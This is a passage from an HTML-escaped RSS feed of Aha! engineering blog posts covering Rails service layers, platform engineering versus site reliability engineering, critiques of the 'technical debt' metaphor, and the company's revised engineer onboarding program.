&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is often useful to return rich domain objects specific to that service object. For example, instead of returning a single value, you can return an object that has a status, error codes, and multiple model objects. That object can then be passed around as a single unit that shows the correlation between the various items inside it.&lt;/p&gt;
&lt;h2&gt;Organizing with a service layer&lt;/h2&gt;
&lt;p&gt;In a controller, you can wrap all related business logic together into a single object, take the return value, and pass that on to your views. The rich return objects often eliminate the need to have multiple instance variables instantiated and drilled down through your views. Helper code can now be stored in a more appropriate place that is usable by parts of the code other than views.&lt;/p&gt;
&lt;p&gt;Jobs and rake tasks often end up getting pretty complex as well. These should be very thin wrappers that parse arguments and then delegate to a service object. Structuring your code in this way makes it easy to call from the console if somebody wants to run a rake task or job manually. Having small classes also helps immensely with &lt;a href=&quot;https://www.aha.io/engineering/articles/from-one-many-building-a-product-suite-with-a-monolith&quot;&gt;testing a monolith&lt;/a&gt;. By simplifying other areas of your application like models, controllers, and jobs, they now become much easier to test as well.&lt;/p&gt;
&lt;p&gt;The service layer also provides isolation from the rest of your Rails code. Isolation is desirable to provide room for experimentation. You can use whatever coding style you want to create these objects without enforcing that structure on other parts of the code. You can use plain old Ruby objects, classic object-oriented inheritance hierarchies, object composition, meta programming, or even some esoteric bash script you wrote years ago. I prefer small and simple plain old Ruby objects, which are easy to follow.&lt;/p&gt;
&lt;p&gt;It also does not matter how you organize files within the service layer, especially at first. As your service layer grows, patterns will emerge and you can reorganize by creating subdirectories and moving files around. But no matter how big or organized this code gets, you can always create a new subdirectory and try out a new experimental approach there.&lt;/p&gt;
&lt;h2&gt;Shipping a Minimum Lovable Product&lt;/h2&gt;
&lt;p&gt;Using a service layer helps us to align our work with our team and company goals. We always strive for the &lt;a href=&quot;https://www.aha.io/roadmapping/guide/plans/what-is-a-minimum-lovable-product&quot;&gt;Minimum Lovable Product (MLP)&lt;/a&gt;, only shipping features when they are ready from a technical standpoint. An MLP is an initial offering that users love from the start. It should also be loved by the engineers that are working to maintain it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Features cannot just look good on the frontend — they should be well-organized in the background as well.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The service layer helps you ship strong code the first time. When you are first authoring a feature, it is very simple to take a chunk of code and create a service object out of it. This means you are more likely to do that right from the start instead of waiting to refactor at a later date. If you do need to refactor, it will mean shuffling around code in small isolated objects and files. That is much easier than coming back after your feature is ready and trying to collect up all the logic you sprinkled around in models, controllers, and views. The service layer is so easy to use that you will feel guilty pushing up a pull request with code where it should not be.&lt;/p&gt;
&lt;p&gt;If used properly, the service layer will help keep your Rails code looking like the simple examples of the Rails guides. It helps to &lt;a href=&quot;https://www.aha.io/engineering/articles//2022-09-02-technical-debt-technically-not-debt&quot;&gt;avoid technical debt&lt;/a&gt; and allows Rails to accomplish what it was built for. It also helps reduce the complexity of implementing, maintaining, and testing business logic. It will help you deliver great features with your growing monolith and keep you happing while doing it.&lt;/p&gt;
&lt;p&gt;We will continue to evolve our monolith and make alterations to the architecture to meet our growing needs. Read our other posts on how we chose to utilize a monolith for the Aha! suite:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.aha.io/engineering/articles/from-one-many-building-a-product-suite-with-a-monolith&quot;&gt;From One, Many — Building a Product Suite With a Monolith&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.aha.io/engineering/articles/embrace-the-monolith-adding-a-new-product-to-aha&quot;&gt;Embrace the monolith: Adding a new product to Aha!&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sign up for a free trial of Aha! Develop&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aha! Develop is a fully extendable agile development tool. Prioritize the backlog, estimate work, and plan sprints. If you are interested in an integrated &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;product development&lt;/a&gt; approach, use &lt;a href=&quot;https://www.aha.io/product/overviewhttps://www.aha.io/product/integrations/develop&quot;&gt;Aha! Roadmaps and Aha! Develop together&lt;/a&gt;. Sign up for a &lt;a href=&quot;https://www.aha.io/trial&quot;&gt;free 30-day trial&lt;/a&gt; or &lt;a href=&quot;https://www.aha.io/live-demo&quot;&gt;join a live demo&lt;/a&gt; to see why more than 5,000 companies trust our software to build lovable products and be happy doing it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Platform Engineering vs. Site Reliability Engineering]]></title><description><![CDATA[Striker and goalie. Offense and defense. Deploy and recalibrate. Many disciplines have dichotomy between the tasks that accomplish a goal…]]></description><link>https://www.aha.io/engineering/articles/platform-engineer-vs-site-reliability-engineering</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/platform-engineer-vs-site-reliability-engineering</guid><dc:creator><![CDATA[Alex Bartlow]]></dc:creator><pubDate>Thu, 22 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Striker and goalie. Offense and defense. Deploy and recalibrate. Many disciplines have dichotomy between the tasks that accomplish a goal and tasks that protect the ability to do so. Delivering features, building out user flows, and optimizing conversion rates constitute the &quot;offense&quot; of many software companies. All of these activities are directly tied to the goal of growing the business. Defensive tasks encompass security, operations, and disaster recovery. These tasks are designed to prevent loss and empower the offense.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An engineering team cannot run optimal code or move the business forward with a weak infrastructure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the software world, this alliance is realized through the engineering and operations teams. Some organizations refer to these as the &quot;profit-center&quot; and &quot;cost-center,&quot; respectively.&lt;/p&gt;
&lt;h2&gt;Traditional site reliability engineering&lt;/h2&gt;
&lt;p&gt;Though symbiotic, the relationship between engineering and operations may encounter pitfalls at more complex organizations. The introduction to Google&apos;s &lt;a href=&quot;https://sre.google/sre-book/introduction/&quot;&gt;Site Reliability Engineering: How Google Runs Production Systems&lt;/a&gt; describes how the two groups may have varied goals, backgrounds, skill sets, incentives, vocabulary, and assumptions. And when left unchecked, strife can form as organizational effectiveness breaks down.&lt;/p&gt;
&lt;p&gt;Google&apos;s solution to this problem is the discipline of site reliability engineering (SRE). Developers are tasked with writing software that creates a stable environment for the deployment and operation of the infrastructure. Site reliability engineers at Google work with development teams on a sort of contract — SRE runs the application only if development follows the practices needed to make the application run efficiently. If the development team does not hold up their end of the bargain, then the SRE will decline to hold up theirs and work with teams who do.&lt;/p&gt;
&lt;p&gt;This works well for Google, but turning down work from one part of our engineering team is not an option for the Aha! team. We have no site reliability engineers on staff at Aha! — because we found a better way.&lt;/p&gt;
&lt;h2&gt;Unified engineering goals&lt;/h2&gt;
&lt;p&gt;We solved the problem of the development-operations split by defining clear goals for our dedicated platform team. Our platform team has goals similar to a traditional operations team, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Operability — How do we run the system on a day-to-day basis and make routine changes?&lt;/li&gt;
&lt;li&gt;Reliability — How do we ensure the system is available for our customers?&lt;/li&gt;
&lt;li&gt;Resilience  — When the system is unavailable, how do we get it running again?&lt;/li&gt;
&lt;li&gt;Observability — How do we ensure that we know before our customers when the system needs help?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We have also adopted six additional goals to help us create a happy, effective, and high-performing engineering team:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Inverse toil&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://sre.google/sre-book/eliminating-toil/#:~:text=Toil%20defined&quot;&gt;Toil&lt;/a&gt; refers to the time engineers spend doing repetitive work that doesn&apos;t deliver real value to customers. While the amount of manual work the platform team needs to do to operate production is higher than the rest of the engineering team, we still try to keep our time spent toiling to a minimum. For most of our platform engineers, it&apos;s less than 20% of their time. Google&apos;s SREs target 50% or less time spent toiling, so we believe that our investments in automation have been very effective.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Release velocity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;How long does it take a pull request to be deployed after being flagged as ready? While we attempt to optimize the time taken in continuous integration, test automation is not a core focus for us. Our developers closest to the code are best suited to test it, so we leave that responsibility to them. We instead focus on the deployment pipeline — building the core images and getting them into production. Simplifying that process allows it to be done many times a day.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Change management&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In addition to deployment speed, some changes require a gradual rollout or an experimental stage to validate the changes we made. The platform team manages the feature flag functionality at Aha! and continues to extend it to provide support for more use cases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Developer productivity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The platform team maintains a &lt;a href=&quot;https://www.aha.io/engineering/articles/log-management-using-aws-athena&quot;&gt;robust logging system&lt;/a&gt; to allow our engineers to troubleshoot problems in production quickly and effectively without direct access to customer data. We maintain the Docker setup for local development to give engineers a stable way to run the application and all of its dependencies. Our &lt;a href=&quot;https://www.aha.io/engineering/articles/dynamic-stagings&quot;&gt;dynamic staging setup&lt;/a&gt; allows us to get new features in front of the &lt;a href=&quot;https://www.aha.io/roadmapping/guide/product-management/work-with-engineers&quot;&gt;product&lt;/a&gt;, marketing, and Customer Success teams early in the development process.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Application performance&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;All engineers should attempt to create a performant application. Our focus on monitoring and observability allows us to find problems in production and start the troubleshooting process. Some features may need to go back into development for optimization, but we can often solve the problem through algorithmic tweaks, indexing changes, or other &lt;a href=&quot;https://www.aha.io/engineering/articles/optimizing-with-the-postgresql-deterministic-query-planner&quot;&gt;database management techniques&lt;/a&gt;. Our experience looking into these issues gives us a sense of where additional caching, reducing object allocations, or other techniques could be used to bolster end-user performance.&lt;/p&gt;
&lt;p&gt;These goals and techniques are also shared by the &lt;a href=&quot;https://www.atlassian.com/devops/what-is-devops/history-of-devops#:~:text=devops%20movement&quot;&gt;DevOps movement&lt;/a&gt;, which attempts to push all the operations work back onto the engineering team. However, developing a &lt;a href=&quot;https://www.aha.io/engineering/articles/from-one-many-building-a-product-suite-with-a-monolith&quot;&gt;large monolithic Rails application&lt;/a&gt; with a robust and modern front-end framework encompasses two very deep skill sets. Asking all of our engineers to also be AWS, networking, and database engineers is asking far too much.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Our platform team serves and empowers the rest of the engineering organization. All of our goals unite to serve the company vision.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Making complicated problems simple&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Without new features to uncover what is currently possible with our infrastructure, we wouldn&apos;t be able to solve complex problems. Part of that empowerment entails building out all-new infrastructure and paradigms that can be used to solve tomorrow&apos;s problems. We&apos;ve made a massive effort toward integrating &lt;a href=&quot;https://kafka.apache.org/&quot;&gt;Kafka&lt;/a&gt; into our infrastructure this year, which is typical of this kind of investment. By having some space away from product-facing work, we&apos;re able to think of our product engineers as internal customers. We can build out tools and infrastructure that will support the development of future features and products.&lt;/p&gt;
&lt;h2&gt;Platform for profit&lt;/h2&gt;
&lt;p&gt;Remember the profit-center vs. cost-center distinction? New development generally gets billed as profit-generating, but the operations side of an organization has the unique ability to drive costs down. This is done through fine-tuning the spend on Cloud resources, optimizing execution to require less of those resources in the first place, and selecting time-saving technologies.&lt;/p&gt;
&lt;p&gt;Infrastructure budget is a vital component of the &lt;a href=&quot;https://www.aha.io/roadmapping/guide/roadmap/technology-roadmap&quot;&gt;technical roadmap&lt;/a&gt; for any platform team. When the development team is bottlenecked for infrastructure reasons, the organization loses out on critical first-mover advantages in the marketplace.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Poor engineering practices can lead to a deficit of our most important asset — the team.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We want our teammates to love what they do — &lt;a href=&quot;https://www.aha.io/company/careers&quot;&gt;increasing employee joy&lt;/a&gt; is the aim and core of our company&apos;s existence. And it makes financial sense too. Replacing an engineer&apos;s institutional knowledge and expertise takes time. Attrition makes your hiring plan doubly difficult to achieve.&lt;/p&gt;
&lt;h2&gt;Need for speed&lt;/h2&gt;
&lt;p&gt;Focusing on optimization allows platform engineers to improve the company&apos;s service in noticeable ways. Speed is a feature because performance expectations are similar to the delays we expect in a normal conversation. A response of 100ms feels instantaneous but delays longer than one second start to interrupt the user&apos;s flow of thought. Beyond four seconds, the user can no longer smoothly interact with a system.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Products in your daily workflow should be reliable and resilient — these two factors drive the happy use of software.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Failures can occur through human error, hardware malfunction, or &lt;a href=&quot;https://www.aha.io/roadmapping/guide/agile/what-is-issue-tracking&quot;&gt;bugs&lt;/a&gt; in vendor packages. However, my experience has shown that a system that recovers quickly when it fails is viewed more favorably than one that fails infrequently but has a longer recovery time.&lt;/p&gt;
&lt;p&gt;A system in this case may refer not only to your software and hardware, but also your operations, engineers, and customer success teams. When failures are still within the realm of exceptional behavior and are fixed rapidly, we find those customer interactions are generally positive — even &lt;a href=&quot;https://www.aha.io/lovability&quot;&gt;lovable&lt;/a&gt;. Customers who love your product will keep using it (reducing churn, increasing profit) and expand the use of the product within their own organization. Platform teams support the broader engineering organization by being prepared to respond quickly to the most debilitating failure modes. This is a core overlap with SRE teams as well.&lt;/p&gt;
&lt;h2&gt;Structuring engineering teams&lt;/h2&gt;
&lt;p&gt;If SRE teams are the defense and engineers are the offense, then platform teams are the mid-fielders. They save goals as often as they score them. Their presence makes the rest of the engineering organization more effective at their core objectives.&lt;/p&gt;
&lt;p&gt;However, keep in mind the time spent toiling. If the platform, infrastructure, QA, and tooling engineers spend over half of their time responding directly to incidents or on-call work, you may need a dedicated reliability team.&lt;/p&gt;
&lt;p&gt;If every week has a new emergent behavior that requires platform engineers to drop everything and fix it, it&apos;s time to adopt more proactive measures to build resilience, monitoring, and fault-tolerance. And when those tasks take up more than half the platform team&apos;s time, it&apos;s time to honor reality and break off a dedicated reliability engineering team.&lt;/p&gt;
&lt;p&gt;Platform and SRE teams do much of the same work — the division between them is more like a gradient than a clear line:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/270964cec5e0150f8845216b5c243786/devops.jpeg&quot; alt=&quot;devops&quot;&gt;&lt;/p&gt;
&lt;p&gt;When the platform team is fully aligned with engineering and company goals, it can incorporate a healthy SRE culture that meets its needs. Focusing on observability, recovery, and reliability saves costs and increases reliability while the platform team works on enhancing the developer experience and building new infrastructure for future features or projects.&lt;/p&gt;
&lt;h3&gt;Grow your career and be happy&lt;/h3&gt;
&lt;p&gt;If this kind of alignment and environment sounds intriguing to you, come join us and &lt;a href=&quot;https://www.aha.io/company/careers/current-openings/#:~:text=engineering&quot;&gt;work with the sharpest engineers&lt;/a&gt; I&apos;ve ever had the pleasure of calling colleagues. Career happiness comes from doing meaningful work with motivated teammates and being appreciated for it. That is Aha! — a talented group of people changing how the best-known companies innovate and bring products to market.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Technical debt isn't technically debt]]></title><description><![CDATA[The term "technical debt" has entered the standard lexicon of programming and software project development and has often been called out for…]]></description><link>https://www.aha.io/engineering/articles//2022-09-02-technical-debt-technically-not-debt</link><guid isPermaLink="true">https://www.aha.io/engineering/articles//2022-09-02-technical-debt-technically-not-debt</guid><dc:creator><![CDATA[Jeremy Wells]]></dc:creator><pubDate>Fri, 02 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The term &quot;&lt;a href=&quot;https://www.aha.io/roadmapping/guide/it-strategy/what-is-technical-debt&quot;&gt;technical debt&lt;/a&gt;&quot; has entered the standard lexicon of programming and software project development and has often been called out for being an incorrect metaphor. Yet it persists as a way to talk about the decisions made during software engineering. I believe it is over-used and often makes &lt;a href=&quot;https://www.atlassian.com/agile/software-development/technical-debt&quot;&gt;technical conversations more confusing&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Our team at Aha! has meaningful conversations about the trade-offs of software development without using the term &quot;technical debt.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There are two common ways the term &quot;technical debt&quot; is used now. The first is when engineers are talking with someone who doesn&apos;t have the same technical context of a project. In this case, it may be used to smooth over the difficulty of communicating various ideas. Those ideas are typically:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We can deliver feature 1 faster but that means feature 2 will take longer.&lt;/li&gt;
&lt;li&gt;This feature is going to take longer because of how we approached earlier features. You can see that those are conceptually similar other than the timing. The message is that the developer needs more time to work on these features. Calling it technical debt avoids the need to explain the finer details. You might also say:&lt;/li&gt;
&lt;li&gt;We’ve incurred technical debt so we need to clean that up before planning the next features.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This communicates that engineering is not happy with the code as it stands. We would like to work on it without needing to worry about delivering functional changes. The term is again used to avoid further explanation and scrutiny. It has entered the mindset of many people in software development that &quot;technical debt&quot; is something that just happens and needs repaying.&lt;/p&gt;
&lt;p&gt;The other common usage is between engineers as justification for making certain decisions or for why the code is the way it is. Many times it sounds like an excuse. If an engineer is embarrassed about the state of the code or architecture, they may call it technical debt to signal to other engineers that the problems arose due to external factors.&lt;/p&gt;
&lt;p&gt;I’ll address the problems with these usages, but first let’s consider what technical debt should actually mean.&lt;/p&gt;
&lt;h2&gt;What is technical debt&lt;/h2&gt;
&lt;p&gt;Let&apos;s remove all the built-up subjective meaning that has crept into the term &quot;technical debt.&quot; Similar to monetary debt, it is a balance between having what you need now and the total costs plus risk. That balance plays on our tendency to want results right now and to play down the long-term consequences. Consider the technical debt thought process:&lt;/p&gt;
&lt;p&gt;You need to deliver a feature.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Option A: Deliver the current feature as fast as possible. Your subsequent features &lt;em&gt;may&lt;/em&gt; take longer due to more necessary patchwork.&lt;/li&gt;
&lt;li&gt;Option B: Take time to build a maintainable solution for the current feature. Your subsequent features &lt;em&gt;may&lt;/em&gt; require less heavy lifting.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which do you choose?&lt;/p&gt;
&lt;h2&gt;Not technically debt&lt;/h2&gt;
&lt;p&gt;I believe &quot;debt&quot; is simply the wrong way to describe this process. With monetary debt, your choice is clear and defensible: I need this money right now or I don’t. Ideally, the loan terms and outcomes are presented upfront.&lt;/p&gt;
&lt;p&gt;This technical choice is not so cut and dry. Is Option B better? How can we be sure that investing extra time now will pay off later? For financial assets, calculating risk is a well-established process. Software development isn&apos;t as predictable. Future product and business decisions may alter your plans altogether. A shifting roadmap may waste your big investment.&lt;/p&gt;
&lt;p&gt;Feasibility also plays a part. Software is built in layers — some of which we don&apos;t control. Architectural concepts emerge over time and change to meet the needs of the system. Is this choice apparent and real? Is the engineer working on the problem in a position to choose? I’ve been down enough dead-ends and thought experiments to say that often an apparent choice is a false one. Those experiments might inform later changes but that does not make the current implementation a debt.&lt;/p&gt;
&lt;h2&gt;Managing uncertainty&lt;/h2&gt;
&lt;p&gt;Option A may slow down your subsequent features, but it may not. You may have truly found a faster solution. Option B may save you hassle in the long run, or it may not. Your time spent upfront may be wasted if the roadmap changes drastically.&lt;/p&gt;
&lt;p&gt;With all of the issues around estimating software projects, it is impossible to predict with certainty. The next feature might not be developed, the requirements might change. Traditional debt has fewer surprises. You don’t take out a loan on a car, discover it was a boat and find out you actually need to take it skiing.&lt;/p&gt;
&lt;p&gt;Consider this choice instead:&lt;/p&gt;
&lt;p&gt;You have one feature that you will deliver first and one follow-up feature.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Option A: Deliver the first feature faster with non-ideal code or technical choices to make the second feature easier.&lt;/li&gt;
&lt;li&gt;Option B: Take longer to deliver the first feature and perform less rework for the second.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With either option, you haven&apos;t created a debt. You&apos;ve simply made decisions about the timeline. This is called planning and all good plans take some finessing.&lt;/p&gt;
&lt;p&gt;When relaying updates to cross-functional teammates, simply explain the problems and give realistic timelines based on what needs to happen. Blaming a delay on technical debt only hinders transparency and keeps your teammates in the dark.&lt;/p&gt;
&lt;p&gt;With your development team, technical debt should not be an excuse to hide behind. Decisions are made, mistakes happen, external forces are at work. Discuss what happened and determine your next steps. Your project cannot be bankrupt by technical debt.&lt;/p&gt;
&lt;h2&gt;Investing time&lt;/h2&gt;
&lt;p&gt;Rarely do we have all the time we need to make our code perfect. But that&apos;s okay. You may have heard that &quot;Premature optimization is the root of all evil in programming,&quot; from &lt;a href=&quot;https://www-cs-faculty.stanford.edu/~knuth/taocp.html&quot;&gt;Donald E Knuth&lt;/a&gt;. Certain ideas about code and software are worth tempering — such as making code flexible or thinking about inflection points. But too much can lead to premature optimizations, over-abstractions, and needless configuration. The code itself is easy to change. If you don’t need a reusable abstraction now, add one later.&lt;/p&gt;
&lt;p&gt;You&apos;ve probably heard the saying, &quot;Don&apos;t Repeat Yourself (DRY)&quot; — and how applying that too early or aggressively can also introduce friction. Remember these rules of two and three.&lt;/p&gt;
&lt;p&gt;For small code, use the rule of three:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I’m implementing this for the third time — I should introduce a generic way to handle this pattern.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Why three? Because you copied and pasted the first solution and made changes. On the third go, you understand the changes and are ready to solve it differently.&lt;/p&gt;
&lt;p&gt;For larger concepts, use the rule of two:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I made this model and it worked well, but now I want to use it again and it doesn’t quite fit. I should restructure this to be useful.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You’ll want to reuse the concepts that drive other parts of the codebase. They might not be in a good state for reuse, so now is the time to analyze and create layers and abstractions.&lt;/p&gt;
&lt;p&gt;The fact that you didn’t do that before is not technical debt. This is software development.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We work fast at Aha! and we use our products to build our products. Our team is happy, productive, and hiring — &lt;a href=&quot;https://www.aha.io/company/careers&quot;&gt;join us!&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Engineering onboarding at Aha!]]></title><description><![CDATA[Software engineers are always eager to make major contributions upon joining a new company. But that's not always realistic with a large…]]></description><link>https://www.aha.io/engineering/articles/engineering-onboarding-at-aha</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/engineering-onboarding-at-aha</guid><dc:creator><![CDATA[Phil Wilt]]></dc:creator><pubDate>Thu, 04 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Software engineers are always eager to make major contributions upon joining a new company. But that&apos;s not always realistic with a large codebase. Aha! is a &lt;a href=&quot;https://www.aha.io/engineering/articles/from-one-many-building-a-product-suite-with-a-monolith&quot;&gt;Rails monolith&lt;/a&gt; that has grown to quite a large codebase over the years. Navigating this new space can result in a feeling of being lost in code or even &lt;a href=&quot;https://www.youtube.com/watch?v=l_Vqp1dPuPo&quot;&gt;imposter syndrome&lt;/a&gt;. It is a fundamental challenge that many companies face.&lt;/p&gt;
&lt;p&gt;We have been working hard to improve our onboarding program for our &lt;a href=&quot;https://www.aha.io/company/careers/current-openings&quot;&gt;software engineers&lt;/a&gt;. After some difficult conversations and insightful feedback, we decided to overhaul our onboarding to set new software engineers up for success.&lt;/p&gt;
&lt;h2&gt;What was onboarding before?&lt;/h2&gt;
&lt;p&gt;Engineering&apos;s onboarding program used to be five weeks long and ran parallel to the onboarding that everyone at Aha! completes. Ours consisted mostly of reading low-level documentation and environment setup. The trouble is that engineering setup documentation gets stale fast. Every new hire was expected to use that to set up their machine and update the documentation accordingly if they ran into problems. However, new hires felt hesitant to update the documentation that the whole team uses. This led to even more staleness.&lt;/p&gt;
&lt;p&gt;Each new engineer was assigned an “onboarding buddy&quot; to have weekly check-ins with. The onboarding buddy answered questions, provided pair programing as needed, and introduced the company culture. But with the previous program, they were unable to do enough to help the new hire learn the codebase. Plus, each teammate only has a limited scope of knowledge about the application and our different teams. Having just one point of contact meant new engineers had to funnel their questions through their buddy. This made speaking up to the wider engineering team somewhat unintuitive.&lt;/p&gt;
&lt;p&gt;It was an isolating experience that put the burden on the new hire to self-teach the codebase. It did not give the person enough exposure to the wider team. It did not teach high-level concepts of different parts of the application. Nor did it teach how the engineering organization was structured and the responsibilities and focus of each of our engineering teams. That led to increased feelings of frustration and imposter syndrome, which made it intimidating to participate in Slack channels, speak up in meetings, and demonstrate completed work.&lt;/p&gt;
&lt;h2&gt;Teammate insight&lt;/h2&gt;
&lt;p&gt;We realized that our large codebase and many engineering sub-teams mean we need to expose new hires to each area in pieces. The old onboarding process felt more like a firehose of information than a practical way to learn. If we could give the new person more exposure to each part of the application at a high level, they could ask more technical questions as needed. They would feel more comfortable asking questions in team Slack channels and meetings.&lt;/p&gt;
&lt;p&gt;Asking questions openly is especially important in the &lt;a href=&quot;https://www.aha.io/engineering/articles/engineers-support&quot;&gt;engineering support rotation&lt;/a&gt;. Customers ask all sorts of questions about the application that engineers are expected to field. Those questions may not be directly related to the engineer&apos;s area of expertise in the application. Having a broad understanding of each engineering team and knowing who to ask is crucial to quickly resolving customers.&lt;/p&gt;
&lt;p&gt;We want each engineer to feel welcome at Aha! and be set up for success. So how do we facilitate the necessary codebase and team knowledge through training? We already have an amazing Customer Success onboarding program that every person hired at Aha! goes through. Can we replicate that program and apply it to engineering?&lt;/p&gt;
&lt;h2&gt;Implementing change&lt;/h2&gt;
&lt;p&gt;We designed a more robust, eight-week program that exposes new hires to each sub-team&apos;s unique part of the codebase. This gives them more chances to interact with team members and provides broad exposure to the application as a whole. Most importantly, it makes sure that person does not feel like they are in a silo in their onboarding.&lt;/p&gt;
&lt;p&gt;We ended the pain of development setup by moving our application into Docker. Asking the person who knows the least about our codebase to be the authority in updating the documentation was unfair. New engineers no longer have to deal with stale documentation causing unnecessary frustration in their first weeks.&lt;/p&gt;
&lt;p&gt;Onboarding buddies now receive formal training and prepare new engineers for each of their onboarding tasks. The pair has short kickoff meetings on Mondays to help set expectations for the week. Then they have longer recap meetings on Fridays. This is a chance to highlight important things that happened that week, check in on the engineer and their progress, and give them a chance to ask questions.&lt;/p&gt;
&lt;p&gt;The new program is tracked in an Aha! release with features for each week. Each week focuses on one engineering sub-team’s part of the application. It begins with high-level reading and then the relevant engineering lead presents an overview of their team. The lead introduces their team members, the team charter, and the high-level architecture of the part of the code base they oversee.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/66bdf1989f204b9518e1d396e9634831/release-board.png&quot; alt=&quot;release board&quot;&gt;&lt;/p&gt;
&lt;p&gt;In addition to the engineering lead&apos;s presentation, we have a member of that engineering sub-team pair program with the new hire. That pairing session walks the person through a small part of the code base. They may review a feature the engineer is working on, a part of the application they are an expert in, or a bite-sized backlog feature that is easy to knock out in a few hours. While the feature may not be relevant to that new engineer&apos;s day-to-day work, the knowledge will come in handy for support rotation.&lt;/p&gt;
&lt;p&gt;The benefits of these pair programming sessions are endless. They help on the workflow side by showing how different teams deliver work and how different engineers set up their tools and environments. Plus it allows for more collaborative interaction between the engineers to build camaraderie. Seeing another engineer forget method names and have to look up documentation shows the fallibility everyone experiences. The new engineer even has a chance to contribute with knowledge they already have — an instant confidence boost.&lt;/p&gt;
&lt;p&gt;We have also written some code-along-with exercises for kinesthetic learning. This mirrors the exercises in the Customer Success onboarding program. In the engineering program, this lets the new engineer write some code or review part of the application from a more technical perspective. They are given guidelines for certain tasks in the application and may write some lines to show off in a meeting.&lt;/p&gt;
&lt;h2&gt;Observed changes&lt;/h2&gt;
&lt;p&gt;Quite a few new engineers have joined Aha! since we upgraded our onboarding program. The nervous looks on their faces fade as they uncover each component of onboarding. Our new teammates have provided positive feedback on the training — particularly about the pairing sessions. Meeting other engineers on the team and having one-on-one time working together is a great way to learn and collaborate. And our existing engineers enjoy getting to know the new hires during this process too.&lt;/p&gt;
&lt;p&gt;The new hires are also getting a lot out of the assigned weekly activities. The activities provide structure for solving a problem in the codebase and incorporate the week&apos;s lessons into a kinesthetic learning experience. The weekly sub-team rotations help new engineers know which team to contact for specific tasks. We now see them confidently directing their questions to the appropriate teams.&lt;/p&gt;
&lt;p&gt;The final big improvement we have seen is the pace at which meaningful features are delivered. Our new teammates are tackling challenging tickets right away on their first support rotation. They get to show off their hard work in engineering meetings as well as company-wide meetings. This assures us that we have set them up to succeed from the start.&lt;/p&gt;
&lt;p&gt;We pride ourselves on hiring talented people and giving them the support they need to succeed. Our commitment to curiosity led us to wonder if our existing onboarding program was the best it could be. With insight from our newest engineers, we reconfigured onboarding to ensure everyone comes out of it feeling confident and eager to build. We&apos;re pleased to see that it has been quite successful.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sign up for a free trial of Aha! Develop&lt;/strong&gt;&lt;/p&gt;
